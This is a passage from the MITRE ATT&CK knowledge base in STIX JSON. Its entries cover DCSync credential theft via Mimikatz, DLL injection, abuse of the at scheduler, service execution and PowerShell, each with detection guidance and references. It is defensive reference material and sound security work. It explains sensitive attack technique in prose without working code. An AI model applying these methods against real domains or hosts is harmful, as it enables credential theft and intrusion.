(DRS) Remote Protocol. Retrieved December 4, 2017.", "source_name": "Microsoft DRSR Dec 2017"}, {"url": "https://msdn.microsoft.com/library/dd207691.aspx", "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", "source_name": "Microsoft GetNCCChanges"}, {"url": "https://wiki.samba.org/index.php/DRSUAPI", "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", "source_name": "Samba DRSUAPI"}, {"url": "https://source.winehq.org/WineAPI/samlib.html", "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.", "source_name": "Wine API samlib.dll"}, {"url": "https://adsecurity.org/?p=1729", "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.", "source_name": "ADSecurity Mimikatz DCSync"}, {"url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.", "source_name": "Harmj0y Mimikatz and DCSync"}, {"url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", "source_name": "InsiderThreat ChangeNTLM July 2017"}, {"url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", "source_name": "GitHub Mimikatz lsadump Module"}, {"url": "https://msdn.microsoft.com/library/cc237008.aspx", "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", "source_name": "Microsoft NRPC Dec 2017"}, {"url": "https://msdn.microsoft.com/library/cc245496.aspx", "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", "source_name": "Microsoft SAMR"}, {"url": "https://adsecurity.org/?p=1729", "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", "source_name": "AdSecurity DCSync Sept 2015"}, {"url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", "source_name": "Harmj0y DCSync Sept 2015"}], "modified": "2021-04-22T20:20:14.595Z", "name": "DCSync", "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Active Directory: Active Directory Object Access", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-04-16T12:50:15.929Z", "name": "System Time Discovery", "description": "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)\n\nIn addition, system calls \u2013 such as <code>time()</code> \u2013 have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["FIRST.ORG's Cyber Threat Intelligence SIG", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Network", "Linux", "macOS"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "created": "2017-05-31T21:31:37.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1124", "external_id": "T1124"}, {"source_name": "systemsetup mac time", "description": "Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.", "url": "https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac"}, {"source_name": "linux system time", "description": "ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.", "url": "https://wiki.archlinux.org/title/System_time"}, {"source_name": "MAGNET GOBLIN", "description": "Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.", "url": "https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/"}, {"source_name": "show_clock_detail_cisco_cmd", "description": "Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674"}, {"source_name": "Mac Time Sync", "description": "Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024.", "url": "https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/"}, {"source_name": "ESET DazzleSpy Jan 2022", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}, {"source_name": "AnyRun TimeBomb", "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.", "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/"}, {"source_name": "Technet Windows Time Service", "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.", "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings"}, {"source_name": "MSDN System Time", "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.", "url": "https://msdn.microsoft.com/ms724961.aspx"}, {"source_name": "RSA EU12 They're Inside", "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.", "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf"}, {"source_name": "System Information Discovery Technique", "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.", "url": "https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082"}, {"source_name": "Virtualization/Sandbox Evasion", "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.", "url": "https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-11-15T14:38:10.876Z", "name": "At", "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Command: Command Execution", "Scheduled Job: Scheduled Job Creation", "Network Traffic: Network Traffic Flow", "Process: Process Creation", "File: File Modification"], "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "created": "2019-11-27T13:52:45.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/002", "external_id": "T1053.002"}, {"source_name": "rowland linux at 2019", "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.", "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"}, {"source_name": "GTFObins at", "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.", "url": "https://gtfobins.github.io/gtfobins/at/"}, {"source_name": "Linux at", "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022.", "url": "https://man7.org/linux/man-pages/man1/at.1p.html"}, {"source_name": "Twitter Leoloobeek Scheduled Task", "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.", "url": "https://twitter.com/leoloobeek/status/939248813465853953"}, {"source_name": "Microsoft Scheduled Task Events Win10", "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"}, {"source_name": "TechNet Scheduled Task Events", "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", "url": "https://technet.microsoft.com/library/dd315590.aspx"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}, {"source_name": "TechNet Forum Scheduled Task Operational Setting", "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", "type": "attack-pattern", "created": "2017-05-31T21:30:36.550Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1035", "external_id": "T1035"}], "modified": "2020-03-10T18:34:39.665Z", "name": "Service Execution", "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"modified": "2023-08-11T21:34:38.558Z", "name": "Dynamic-link Library Injection", "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Boominathan Sundaram"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Metadata", "Process: Process Access", "Process: Process Modification", "Module: Module Load", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "created": "2020-01-14T01:26:08.145Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/001", "external_id": "T1055.001"}, {"source_name": "Hiding Malicious Code with Module Stomping", "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.", "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"}, {"source_name": "Elastic HuntingNMemory June 2017", "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"}, {"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}, {"source_name": "Module Stomping for Shellcode Injection", "description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.", "url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", "type": "attack-pattern", "created": "2017-05-31T21:31:06.512Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1086", "url": "https://attack.mitre.org/techniques/T1086"}, {"url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", "source_name": "TechNet PowerShell"}, {"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit"}, {"url": "https://github.com/jaredhaight/PSAttack", "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", "source_name": "Github PSAttack"}, {"source_name": "Sixdub PowerPick Jan 2016", "url": "http://www.sixdub.net/?p=367", "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."}, {"source_name": "SilentBreak Offensive PS Dec 2015", "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."}, {"source_name": "Microsoft PSfromCsharp APR 2014", "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."}, {"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "source_name": "Malware Archaeology PowerShell Cheat Sheet"}, {"url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", "source_name": "FireEye PowerShell Logging 2016"}], "modified": "2020-03-09T13:51:06.334Z", "name": "PowerShell", "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636", "type": "attack-pattern", "created": "2020-10-01T02:17:46.086Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588.005", "url": "https://attack.mitre.org/techniques/T1588/005"}, {"source_name": "Exploit Database", "url": "https://www.exploit-db.com/", "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020."}, {"source_name": "TempertonDarkHotel", "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.", "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"}, {"source_name": "NationsBuying", "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"}, {"url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/", "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", "source_name": "PegasusCitizenLab"}, {"source_name": "Wired SandCat Oct 2019", "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020."}], "modified": 